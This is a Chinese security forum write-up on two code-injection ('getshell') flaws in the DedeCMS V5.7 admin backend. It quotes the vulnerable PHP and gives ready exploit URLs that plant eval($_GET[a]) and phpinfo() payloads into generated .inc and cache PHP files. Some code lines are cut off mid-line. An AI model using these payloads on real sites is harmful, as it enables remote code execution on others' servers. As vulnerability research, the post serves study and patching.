Dedecms V5.7后台的两处getshell

梅子酒m3i / 2018-04-01 15:28:46 / 浏览数 7931 安全技术 漏洞分析 顶(0) 踩(0)

在这个帖子里我把两个洞一起写出来。

第一个是常见的思路，把语句写入inc文件，然后在其他的include语句中，包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下：

```
else if ($action == 'getfiles')
{
   if(!isset($refiles))
   {
       ShowMsg("■■■■■■■■■■","sys_verifies.php");
       exit();
   }
   $cacheFiles = DEDEDATA.'/modifytmp.inc';
   $fp = fopen($cacheFiles, 'w');
   fwrite($fp, '<'.'?php'."\r\n");
   fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
   $dirs = array();
   $i = -1;
   $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
   foreach($refiles as $filename)
   {
       $filename = substr($filename,3,strlen($filename)-3);
       if(preg_match("#^dede/#i", $filename))
       {
           $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
       } else {
           $curdir = GetDirName($filename);
       }
       if( !isset($dirs[$curdir]) )
       {
           $dirs[$curdir] = TestIsFileDir($curdir);
       }
       $i++;
       fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
   }
   fwrite($fp, '$fileConut = '.$i.';'."\r\n");
   fwrite($fp, '?'.'>');
   fclose($fp);

   $dirinfos = '';
   if($i > -1)
   {
       $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">';
       $dirinfos .= "■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■<br />\r\n";
       foreach($dirs as $curdir)
       {
           $dirinfos .= $curdir['name']." ■■■".($curdir['writeable'] ? "[√■■]" : "<font color='red'>[×■■■]</font>")."<br />\
       }
       $dirinfos .= "</td></tr>\r\n";
   }

   $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' hei

   include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm');

   exit();
}
```

从这段代码里，可以得知会在/data目录下生成一个inc文件，并且这个inc文件的内容是我们可以控制的，因此只需要再找一个include了这个inc文件的地方，便可以完成攻击

全局搜索了下这个文件，发现就在同一个php文件的下面，因此利用条件就全部齐了，可以开始构造写入的语句了。

观察逻辑，代码会先从url中获取一个refiles参数，并且refiles作为数组参数，被写入inc文件。而紧接的foreach语句其实重点就只是一个replace，只要绕过去就好了。最后
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();//

此时写入shell成功，触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

第二个的思路比第一个稍微绕一点，但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处：

```
else if($step == 2)
{
   include_once(DEDEINC."/enums.func.php");
   WriteEnumsCache();
   //WriteAreaCache(); ■■■
   ShowMsg("■■■■■■■■■■■■■■■■■■...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
   exit();
}
■■WrtieEnumsCache()■

function WriteEnumsCache($egroup='')
{
   global $dsql;
   $egroups = array();
   if($egroup=='') {
       $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
   }
   else {
       $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
   }
   $dsql->Execute('enum');
   while($nrow = $dsql->GetArray('enum')) {
       $egroups[] = $nrow['egroup'];
   }

   foreach($egroups as $egroup)
   {

       $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
       $fp = fopen($cachefile,'w');
       fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
       $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue AS
       $dsql->Execute('enum');
       $issign = -1;
       $tenum = false; //■■■■■■
       while($nrow = $dsql->GetArray('enum'))
       {
           fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
           if($issign==-1) $issign = $nrow['issign'];
           if($nrow['issign']==2) $tenum = true;
       }
       if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
       fwrite($fp,'?'.'>');
       fclose($fp);
       if(empty($issign)) WriteEnumsJs($egroup);
   }
   return '■■■■■■■■■■■■';
}
```

可以看到有文件读写操作，但是文件内容是从数据库取值的，因此需要先往数据库里写入内容，同时，因为没有任何过滤，因此操作难度降低了许多。找到的写数据库的位置
dede/stepselect_main.php：

```
else if($action=='addenum_save')
{
   if(empty($ename) || empty($egroup))
   {
        Showmsg("■■■■■■■■■■■■■■","-1");
        exit();
   }
   if($issign == 1 || $topvalue == 0)
   $enames = explode(',', $ename);
   foreach($enames as $ename){
       $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC
       if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500);
```

```
        else $disorder = $evalue = $arr['disorder'] + ($issign==1 ? 1 : 500);
        $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`)  VALUES('$ename','$e
    echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disor
        die();
        WriteEnumsCache($egroup);
        ShowMsg("■■■■■■■■■■".$dsql->GetError(), $ENV_GOBACK_URL);
        exit();
    }
```

因此传入如下url：
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库，此时直接查询，便可以写入文件，写文件url如下：
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok

上一篇：keqiCryptomix勒索病毒... 下一篇：如何破解EBS应用程序密码

1. 0 条回复
   - 动动手指，沙发就是你的了！